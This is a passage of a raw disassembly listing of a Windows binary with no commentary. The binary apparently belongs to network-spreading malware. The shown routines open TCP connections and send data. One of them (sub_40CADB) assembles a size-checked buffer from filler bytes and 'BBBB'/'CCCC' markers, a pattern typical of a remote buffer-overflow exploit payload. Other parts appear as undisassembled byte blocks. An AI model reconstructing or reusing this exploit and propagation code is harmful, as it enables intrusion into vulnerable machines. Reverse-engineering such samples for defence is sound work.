		push	offset unk_43221C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C125+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C125+371j
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321E4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C125+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C125+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4ED:				; CODE XREF: sub_40C125+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4321A4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C125+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		call	near ptr 26F07F3h
		nop


loc_40C572:				; CODE XREF: sub_40C125+440j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop


loc_40C582:				; CODE XREF: sub_40C125+3B6j
					; sub_40C125+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi
		jmp	short loc_40C582
sub_40C125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB654
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CB6D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C65A
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E59C[ecx], esi
		jz	short loc_40C65A
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB6E0
		push	eax
		mov	edi, offset dword_4CE164
		push	offset dword_432284
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A73
		push	edi
		call	sub_4151AD
		add	esp, 28h


loc_40C65A:				; CODE XREF: sub_40C59C+5Dj
					; sub_40C59C+7Ej
		push	esi
		call	dword_4CB6EC
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59C	endp

; ---------------------------------------------------------------------------
byte_40C669	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+603Fo
		dd 134EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 4CBD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh
		dd 50004322h, 0F1D1E8h,	0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h
		dd 234C069h, 90050000h,	500043E3h, 0EF1BE8h, 1CC48300h
		dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h,	90575700h
		dd 28390FE8h, 89C73B02h, 0B74FC45h, 75F47D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E890FC75h, 2264188h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h
		dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h,	4CB650h
		dd 8D084589h, 46A0845h,	0E0458D50h, 0FBBEE850h,	0C4830000h
		dd 0FF3DE90Ch
		db 2 dup(0FFh)
word_40C75A	dw 8B55h		; DATA XREF: sub_401ACD+5D4Fo
		dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h
		dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h
		dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh
		dd 432300h, 0F0E0E850h,	858D0000h, 0FFFFFED0h, 1FF68h
		dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h
		dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h
		dd 57570040h, 28381FE8h, 0C73B9002h, 74084589h,	0F87D390Bh
		dd 326A0675h, 0F5EBD6FFh, 900875FFh, 264097E8h,	8CB3FF02h
		dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h
		dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h
		dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h
		dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh
		dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40C867	proc near		; CODE XREF: sub_40CADB+Ep
					; sub_40CADB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C867	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C871	proc near		; CODE XREF: sub_40CADB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A3
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A3:				; CODE XREF: sub_40C871+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AB	proc near		; CODE XREF: sub_40C9A5+18p
					; sub_40CA1F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F7
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F7:				; CODE XREF: sub_40C8AB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_40C9A5+5Ep
					; sub_40C9A5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C910
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C910:				; CODE XREF: sub_40C900+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C900	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C919	proc near		; CODE XREF: sub_40C9A5+20p
					; sub_40CA80+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C946
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C94A


loc_40C946:				; CODE XREF: sub_40C919+Dj
		xor	al, al
		jmp	short loc_40C9A1
; ---------------------------------------------------------------------------


loc_40C94A:				; CODE XREF: sub_40C919+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C989
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C919+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C989:				; CODE XREF: sub_40C919+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A1:				; CODE XREF: sub_40C919+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CADB+89p
					; sub_40CADB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CB50C
		call	sub_40C8AB
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DF
		xor	al, al
		jmp	short loc_40CA1B
; ---------------------------------------------------------------------------


loc_40C9DF:				; CODE XREF: sub_40C9A5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C900
		mov	al, 1


loc_40CA1B:				; CODE XREF: sub_40C9A5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1F	proc near		; CODE XREF: sub_40CA53+14p
					; sub_40CA70+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA53	proc near		; CODE XREF: sub_40CADB+F0p
					; sub_40CADB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1F
		pop	esi
		retn	4
sub_40CA53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA70	proc near		; CODE XREF: sub_40CABC+Bp
					; sub_40CADB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1F
		retn	8
sub_40CA70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA80	proc near		; CODE XREF: sub_40CABC+16p
					; sub_40CADB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C919
		test	al, al
		jz	short loc_40CAB9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CFE4
		call	sub_40C8AB
		mov	ecx, esi
		call	sub_40C900
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB9:				; CODE XREF: sub_40CA80+Fj
		pop	esi
		leave
		retn
sub_40CA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABC	proc near		; CODE XREF: sub_40CADB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA70
		test	al, al
		jz	short loc_40CAD7
		mov	ecx, esi
		call	sub_40CA80


loc_40CAD7:				; CODE XREF: sub_40CABC+12j
		pop	esi
		retn	8
sub_40CABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADB	proc near		; CODE XREF: ___:0040D362p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C867
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C867
		lea	ecx, [ebp+var_20]
		call	sub_40C867
		lea	ecx, [ebp+var_50]
		call	sub_40C867
		lea	ecx, [ebp+var_18]
		call	sub_40C867
		lea	ecx, [ebp+var_40]
		call	sub_40C867
		lea	ecx, [ebp+var_38]
		call	sub_40C867
		lea	ecx, [ebp+var_28]
		call	sub_40C867
		push	4
		push	offset dword_432338
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		push	3
		push	offset dword_432340
		lea	ecx, [ebp+var_30]
		call	sub_40CA1F
		lea	ecx, [ebp+var_30]
		call	sub_40C9A5
		lea	ecx, [ebp+var_30]
		call	sub_40CA80
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_20]
		call	sub_40C9A5
		push	offset loc_4326BC
		lea	ecx, [ebp+var_50]
		call	sub_40CA53
		lea	ecx, [ebp+var_50]
		call	sub_40C9A5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C871
		lea	ecx, [ebp+var_58]
		call	sub_40C9A5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABC
		lea	ecx, [ebp+var_58]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA53
		push	4
		push	offset dword_432344
		lea	ecx, [ebp+var_18]
		call	sub_40CA1F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_18]
		call	sub_40C9A5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA70
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA70
		lea	ecx, [ebp+var_40]
		call	sub_40CA80
		lea	ecx, [ebp+var_18]
		call	sub_40C900
		lea	ecx, [ebp+var_50]
		call	sub_40C900
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA70
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA70
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA70
		lea	ecx, [ebp+var_38]
		call	sub_40CA80
		lea	ecx, [ebp+var_20]
		call	sub_40C900
		lea	ecx, [ebp+var_30]
		call	sub_40C900
		lea	ecx, [ebp+var_40]
		call	sub_40C900
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1F
		lea	ecx, [ebp+var_28]
		call	sub_40C9A5
		push	2
		push	offset dword_4326B0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA70
		lea	ecx, [ebp+var_28]
		call	sub_40CA80
		lea	ecx, [ebp+var_38]
		call	sub_40C900
		lea	ecx, [ebp+var_10]
		call	sub_40C867
		lea	ecx, [ebp+var_8]
		call	sub_40C867
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_28]
		call	sub_40C900
		push	offset dword_4326AC
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	offset dword_4326A8
		lea	ecx, [ebp+var_10]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_10]
		call	sub_40C919
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		push	offset dword_43269C
		lea	ecx, [ebp+var_8]
		call	sub_40CA53
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C919
		lea	ecx, [ebp+var_10]
		call	sub_40C900
		push	(offset	loc_432697+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA53
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA70
		lea	ecx, [ebp+var_8]
		call	sub_40C900
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_40CADB+1Bj
					; sub_40CADB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3D:				; CODE XREF: sub_40CADB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE41	proc near		; CODE XREF: sub_40CF05+A1p
					; sub_40CF05+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40CEA8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAC


loc_40CEA8:				; CODE XREF: sub_40CE41+54j
		xor	eax, eax
		jmp	short loc_40CEBC
; ---------------------------------------------------------------------------


loc_40CEAC:				; CODE XREF: sub_40CE41+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB66C


loc_40CEBC:				; CODE XREF: sub_40CE41+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEC0	proc near		; CODE XREF: sub_40CF05+81p
					; sub_40CF05+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB650
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	eax, 4
		jz	short loc_40CEEA
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEEA:				; CODE XREF: sub_40CEC0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CB6A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF05	proc near		; CODE XREF: sub_40CFDF+48p
					; ___:0040D453p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2E
		xor	al, al
		jmp	loc_40CFDA
; ---------------------------------------------------------------------------


loc_40CF2E:				; CODE XREF: sub_40CF05+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_4323D4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432404
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CE36C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43234C
		push	ebx
		call	sub_40CEC0
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF96


loc_40CF92:				; CODE XREF: sub_40CF05+B5j
		xor	bl, bl
		jmp	short loc_40CFD1
; ---------------------------------------------------------------------------


loc_40CF96:				; CODE XREF: sub_40CF05+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEC0
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF92
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE41
		add	esp, 10h
		mov	bl, 1


loc_40CFD1:				; CODE XREF: sub_40CF05+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFDA:				; CODE XREF: sub_40CF05+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDF	proc near		; CODE XREF: ___:0040D439p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432410
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D01A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE41
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D01A
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01E


loc_40D01A:				; CODE XREF: sub_40CFDF+1Bj
					; sub_40CFDF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01E:				; CODE XREF: sub_40CFDF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF05
		add	esp, 0Ch
		leave
		retn
sub_40CFDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: sub_40D07D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
